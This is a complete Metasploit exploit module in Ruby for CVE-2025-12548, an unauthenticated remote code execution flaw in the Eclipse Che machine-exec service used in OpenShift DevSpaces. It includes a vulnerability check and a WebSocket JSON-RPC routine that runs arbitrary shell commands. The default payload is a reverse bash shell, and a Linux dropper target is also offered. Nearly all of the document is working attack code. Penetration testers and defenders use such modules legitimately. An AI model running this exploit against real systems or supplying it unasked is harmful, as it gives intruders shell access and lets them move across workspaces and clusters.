## # This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking include Rex::Proto::Http::WebSocket include Msf::Exploit::Remote::HttpClient include Msf::Exploit::CmdStager prepend Msf::Exploit::Remote::AutoCheck def initialize(info = {}) super( update_info( info, 'Name' => 'Eclipse Che machine-exec Unauthenticated RCE', 'Description' => %q{ This module exploits an unauthenticated remote code execution vulnerability in the Eclipse Che machine-exec service (CVE-2025-12548). The machine-exec service, exposed on port 3333 within Red Hat OpenShift DevSpaces developer workspace containers, accepts WebSocket connections without authentication. An attacker can connect to the machine-exec service and execute arbitrary commands via JSON-RPC over WebSocket. This allows lateral movement between workspaces and potential cluster compromise. The vulnerability affects Red Hat OpenShift DevSpaces environments where the machine-exec service is network-accessible. }, 'License' => MSF_LICENSE, 'Author' => [ 'Richard Leach', # Vulnerability discovery 'Greg Durys ' # PoC and Metasploit module ], 'References' => [ ['CVE', '2025-12548'], ['URL', 'https://access.redhat.com/security/cve/cve-2025-12548'], ['URL', 'https://github.com/eclipse-che/che-machine-exec'] ], 'DisclosureDate' => '2025-12-01', 'Privileged' => false, 'Targets' => [ [ 'Unix Command', { 'Platform' => 'unix', 'Arch' => ARCH_CMD, 'Type' => :unix_cmd, 'DefaultOptions' => { 'PAYLOAD' => 'cmd/unix/reverse_bash' } } ], [ 'Linux Dropper', { 'Platform' => 'linux', 'Arch' => [ARCH_X86, ARCH_X64, ARCH_AARCH64], 'Type' => :linux_dropper } ] ], 'DefaultTarget' => 0, 'DefaultOptions' => { 'RPORT' => 3333, 'WfsDelay' => 10 }, 'Notes' => { 'Stability' => [CRASH_SAFE], 'Reliability' => [REPEATABLE_SESSION], 'SideEffects' => [IOC_IN_LOGS, ARTIFACTS_ON_DISK] } ) ) register_options([ OptString.new('TARGETURI', [true, 'Base path to machine-exec service', '/']), OptInt.new('WS_TIMEOUT', [true, 'Timeout for WebSocket operations (seconds)', 10]) ]) end # Safely close a WebSocket connection, ignoring any errors def safe_wsclose(wsock) wsock&.wsclose rescue StandardError nil end # Connect to WebSocket and return socket plus any leftover data from HTTP response. # The machine-exec server sends the hello message immediately after the upgrade, # which gets absorbed into the HTTP response body during parsing. def connect_ws_with_leftover(uri) ws_key = Rex::Text.encode_base64(SecureRandom.bytes(16)) http_client = connect raise Rex::Proto::Http::WebSocket::ConnectionError.new(msg: 'Failed to connect') if http_client.nil? req = http_client.request_raw({ 'uri' => uri, 'headers' => { 'Connection' => 'Upgrade', 'Upgrade' => 'websocket', 'Sec-WebSocket-Version' => '13', 'Sec-WebSocket-Key' => ws_key } }) http_client.send_request(req) res = http_client.read_response(datastore['WS_TIMEOUT']) unless res&.code == 101 http_client.close raise Rex::Proto::Http::WebSocket::ConnectionError.new(http_response: res) end # WebSocket GUID (see: https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/Sec-WebSocket-Accept) accept_key = Rex::Text.encode_base64(OpenSSL::Digest::SHA1.digest(ws_key + '258EAFA5-E914-47DA-95CA-C5AB0DC85B11')) unless res.headers['Sec-WebSocket-Accept'] == accept_key http_client.close raise Rex::Proto::Http::WebSocket::ConnectionError.new(msg: 'Invalid Sec-WebSocket-Accept header', http_response: res) end socket = http_client.conn socket.extend(Rex::Proto::Http::WebSocket::Interface) leftover = res.body.to_s vprint_status("Response body length: #{leftover.length}, body: #{leftover[0..100].inspect}") # The hello frame may arrive in the HTTP response body or shortly after. # If absorbed into the body, parse the raw frame bytes to extract the payload. # Otherwise, read a frame from the socket directly. if leftover.present? hello = parse_ws_frame(leftover) else frame = begin ::Timeout.timeout(datastore['WS_TIMEOUT']) { socket.get_wsframe } rescue ::Timeout::Error nil end if frame frame.unmask! if frame.header.masked == 1 hello = frame.payload_data.to_s end end [socket, hello] end # Parse a WebSocket frame from raw data def parse_ws_frame(data) return nil if data.blank? frame = Rex::Proto::Http::WebSocket::Frame.new frame.read(data) frame.unmask! if frame.header.masked == 1 frame.payload_data.to_s end def check begin wsock, hello = connect_ws_with_leftover(normalize_uri(target_uri.path, 'connect')) rescue Rex::Proto::Http::WebSocket::ConnectionError => e return CheckCode::Unknown("WebSocket connection failed: #{e.message}") end if hello.blank? safe_wsclose(wsock) return CheckCode::Unknown('No hello message received from service') end begin json = JSON.parse(hello) if json['method'] == 'connected' && json.dig('params', 'tunnel') safe_wsclose(wsock) return CheckCode::Appears('machine-exec service accepts unauthenticated connections') end rescue JSON::ParserError nil end safe_wsclose(wsock) CheckCode::Safe('Service did not respond as expected') end def exploit case target['Type'] when :unix_cmd execute_command(payload.encoded) when :linux_dropper execute_cmdstager end end def execute_command(cmd, _opts = {}) print_status('Connecting to machine-exec service...') begin wsock, hello = connect_ws_with_leftover(normalize_uri(target_uri.path, 'connect')) rescue Rex::Proto::Http::WebSocket::ConnectionError => e fail_with(Failure::Unreachable, "WebSocket connection failed: #{e.message}") end print_good('Connected to machine-exec service') if hello.blank? safe_wsclose(wsock) fail_with(Failure::UnexpectedReply, 'No hello message received') end vprint_status("Received hello: #{hello}") print_status('Staging payload via JSON-RPC create method...') create_request = { 'jsonrpc' => '2.0', 'method' => 'create', 'params' => { 'cmd' => ['sh', '-c', cmd], 'type' => 'process' }, 'id' => 1 } wsock.put_wstext(create_request.to_json) frame = begin ::Timeout.timeout(datastore['WS_TIMEOUT']) { wsock.get_wsframe } rescue ::Timeout::Error nil end if frame.nil? safe_wsclose(wsock) fail_with(Failure::UnexpectedReply, 'No response to create request') end frame.unmask! if frame.header.masked == 1 response_data = frame.payload_data.to_s begin response = JSON.parse(response_data) process_id = response['result'] if process_id.nil? error_msg = response.dig('error', 'message') || 'Unknown error' safe_wsclose(wsock) fail_with(Failure::UnexpectedReply, "Failed to stage command: #{error_msg}") end print_good("Command staged with process ID: #{process_id}") rescue JSON::ParserError safe_wsclose(wsock) fail_with(Failure::UnexpectedReply, 'Invalid JSON response') end safe_wsclose(wsock) print_status("Triggering execution via /attach/#{process_id}...") begin wsock_attach = connect_ws({ 'uri' => normalize_uri(target_uri.path, 'attach', process_id.to_s) }) print_good('Payload triggered!') rescue Rex::Proto::Http::WebSocket::ConnectionError => e fail_with(Failure::UnexpectedReply, "Failed to trigger execution: #{e.message}") end safe_wsclose(wsock_attach) end end